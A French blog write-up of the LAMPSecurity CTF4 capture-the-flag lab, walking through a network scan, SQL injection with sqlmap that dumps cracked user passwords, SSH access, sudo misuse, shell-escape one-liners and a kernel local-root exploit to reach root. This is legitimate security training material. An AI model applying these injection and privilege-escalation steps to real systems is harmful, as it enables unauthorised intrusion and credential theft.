LAMPSecurity : CTF4
Aujourd’hui au programme, un peu de sécurité informatique avec un CTF (“Capture The Flag”) consistant à exploiter les vulnérabilités d’un système. L’objectif ici est d’accéder au système en tant qu’utilisateur suprême : le root !
Récupération de la machine : https://sourceforge.net/projects/lampsecurity/files/CaptureTheFlag/CTF4/ctf4.ova/download
Mon kit :
– Terminator pour le multi-fenêtrage en ligne de commande
– Zsh avec le thème ys
– Pluma pour la prise de note 🙂
Scan et terrain de jeu
Une fois la VM démarrée, il faut maintenant la retrouver sur le réseau
$ nmap -sn 192.168.142.0/24 Nmap scan report for 192.168.142.129 Host is up (0.0013s latency).
VM retrouvée ! Passons maintenant à un scan spécifique de la machine
$ sudo nmap -sV -O 192.168.142.129 Starting Nmap 7.60 ( https://nmap.org ) at 2018-12-07 15:54 CET Nmap scan report for 192.168.142.129 Host is up (0.00029s latency). Not shown: 996 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.3 (protocol 2.0) 25/tcp open smtp Sendmail 8.13.5/8.13.5 80/tcp open http Apache httpd 2.2.0 ((Fedora)) 631/tcp closed ipp Service Info: Host: ctf4.sas.upenn.edu; OS: Unix
Accès web
En naviguant un peu sur le site et les différentes pages, on repère deux utilisateurs en tant qu’auteur d’article : jdurbin, sorzek.
On y trouve également un robots.txt à la racine du site :
User-agent: *
Disallow: /mail/
Disallow: /restricted/
Disallow: /conf/
Disallow: /sql/
Disallow: /admin/
/mail => SquirrelMail
/restricted => accès protégé, probablement par un .htaccess
/conf => Internal Server Error
/admin => espace d’authentification sur le blog
/sql => On y trouve un fichier SQL avec comme nom de base de données “ehks” et trois tables : user (id, username, pass), blog, comment.
En parcourant un peu les différents articles, je m’aperçois que les URLs de ces mêmes articles peuvent être sujettes à des failles SQLs. Pour vérifier raidement cela, il suffit (dans mon cas) de rajouter une guilllemet pour provoquer une erreur lors de la requête SQL.
En plus d’être sujette aux failles SQL, on apprend également qu’on a une base MySQL sous le capot.
SQLmap
L’outil SQLmap va me permettre de détecter et d’exploiter les vulnérabilités présentes pour cette partie SQL.
$ sqlmap -u 'http://192.168.142.129/index.html?page=blog&title=Blog&id=2' --dbms=mysql --tables Database: roundcubemail [6 tables] +---------------------------------------+ | session | | cache | | contacts | | identities | | messages | | users | +---------------------------------------+ Database: ehks [3 tables] +---------------------------------------+ | user | | blog | | comment | +---------------------------------------+
Il semblerait que la BDD ehks soit-celle utilisé par le blog.
Pour être sûr :
$ sqlmap -u 'http://192.168.142.129/index.html?page=blog&title=Blog&id=2' --dbms=mysql --current-db [16:38:06] [INFO] fetching current database current database: 'ehks'
Exploitons donc cette base à la recherche d’infos notamment avec la tabler “user”.
Le flag –dump va permettre de récupérer les entrées de la table sélectionnée.
$ sqlmap -u 'http://192.168.142.129/index.html?page=blog&title=Blog&id=2' --dbms=mysql -D ehks -T user --dump Database: ehks Table: user [6 entries] +---------+-----------+--------------------------------------------------+ | user_id | user_name | user_pass | +---------+-----------+--------------------------------------------------+ | 1 | dstevens | 02e823a15a392b5aa4ff4ccb9060fa68 (ilike2surf) | | 2 | achen | b46265f1e7faa3beab09db5c28739380 (seventysixers) | | 3 | pmoore | 8f4743c04ed8e5f39166a81f26319bb5 (Homesite) | | 4 | jdurbin | 7c7bc9f465d86b8164686ebb5151a717 (Sue1978) | | 5 | sorzek | e0a23947029316880c29e8533d8662a3 (pacman) | | 6 | ghighland | 9f3eb3087298ff21843cc4e013cf355f (undone1) | +---------+-----------+--------------------------------------------------+
On a maintenant les différents utilisateurs ainsi que leurs mots de passes.
Impeccable !
SSH
Lors de la phase de scan de la cible, nous avions vu qu’un serveur SSH tourne sur le port 22. En essayant les connexions rapidement à la mano, chaque utilisateur peut s’authentifier sur le serveur.
En cas d’entrées utilisateurs plus conséquentes, ou de bruteforce, l’application hydra m’aurait permis d’automatiser cela.
Compromission du système et accès root
Méthode 1 – Utilisateur avec droit root
En jouant et en manipulant un peu les différentes sessions utilisateurs, on s’aperçoit que dstevens est un utilisateur avec les droits root
[dstevens@ctf4 ~]$ sudo -i Password: [root@ctf4 ~]#
De même pour achen qui possède une authentification NOPASSWD (exécution d’une commande avec droits privilégiés sans mot de passe)
[achen@ctf4 ~]$ sudo whoami root
Méthode 2 – Escalade de privilège
Je vais utiliser l’utilisateur jdurbin, qui n’a pas d’accès ni de droits particuliers sur le serveur.
Différents interpréteurs sont présents et peuvent-être utilisés par l’utilisateur en question :
[jdurbin@ctf4 ~]$ echo $PATH /usr/kerberos/bin:/usr/local/bin:/bin:/usr/bin:/home/jdurbin/bin [jdurbin@ctf4 ~]$ which python gcc perl /usr/bin/python /usr/bin/gcc /usr/bin/perl
LinuxPrivChecker, écrit en python, va nous aider dans cette escalade de privilège.
La VM n’ayant pas d’accès Internet, je préfère transférer le fichier récupéré depuis ma machine hôte avec l’utilitaire SCP (Secure CoPy, transfert de documents sécurisés entre machines en utilisant SSH).
$ scp -r -p ctf4/linuxprivchecker.py jdurbin@192.168.142.129:~ linuxprivchecker.py 100% 25KB 9.9MB/s 00:00
Une fois de retour sur la VM à compromettre :
[jdurbin@ctf4 ~]$ ls html linuxprivchecker.py mail
On rend exécutable le script, et on le lance ensuite
[jdurbin@ctf4 ~]$ chmod +x linuxprivchecker.py && /usr/bin/python linuxprivchecker.py
[...
[*] ENUMERATING INSTALLED LANGUAGES/TOOLS FOR SPLOIT BUILDING...
[+] Installed Tools
/bin/awk
/usr/bin/perl
/usr/bin/python
/usr/bin/gcc
/usr/bin/cc
/bin/vi
/usr/bin/vim
/usr/bin/find
/usr/bin/nc
/usr/bin/wget
/usr/kerberos/bin/ftp
[+] Related Shell Escape Sequences...
vi--> :!bash
vi--> :set shell=/bin/bash:shell
vi--> :!bash
vi--> :set shell=/bin/bash:shell
awk--> awk 'BEGIN {system("/bin/bash")}'
find--> find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' \;
perl--> perl -e 'exec "/bin/bash";'
[...]
- < 2.6.37-rc2 ACPI custom_method Privilege Escalation || http://www.exploit-db.com/exploits/15774 || Language=c
- 'pipe.c' Local Privilege Escalation Vulnerability || http://www.exploit-db.com/exploits/10018 || Language=sh
- 2.4/2.6 sock_sendpage() Local Root Exploit [3] || http://www.exploit-db.com/exploits/9641 || Language=c
- <= 2.6.37 Local Privilege Escalation || http://www.exploit-db.com/exploits/15704 || Language=c
- 2.4.x / 2.6.x uselib() Local Privilege Escalation Exploit || http://www.exploit-db.com/exploits/895 || Language=c
- 2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (4) || http://www.exploit-db.com/exploits/2011 || Language=sh
[...]
Cet outil est une petite merveille … informations sur l’environnement de l’utilisateur courant, vulnérabilités systèmes présentes … elle est belle la vie de script kiddie que je suis ! 🙂
Au passage, exploit-db est une base de données publiques recensent des exploits sur des logiciels vulnérables.
Récupérons par exemple l’exploit n°2011 de la CVE 2006-2451.
[jdurbin@ctf4 ~]$ ./local_root_exploit.sh wait aprox 4 min to get sh sh-3.1# whoami root
Et hop, accès root sur le serveur ! 🙂
Bilan
Pour une personne comme moi qui débute dans ce domaine et qui effectuais son premier CTF, ce challenge était vraiment sympathique. Il ne requiert pas de compétences spécifiques, mise à part un minimum de connaissances sous un système d’exploitation GNU/Linux. Il y a beaucoup de possibilités, et je n’ai pas tout exploité ni sondé, mais il reste pas mal de failles potentielles à découvrir pour terminer le challenge de différentes façons : partie mail, exploitation des vulnérabilités web (LFI, bypass un .htaccess), vulnérabilités des programmes non-à-jour (OpenSSH 4.3, Apache 2.2..) et bien d’autres … pour ma part, je me dirige maintenant vers le CTF5 🙂
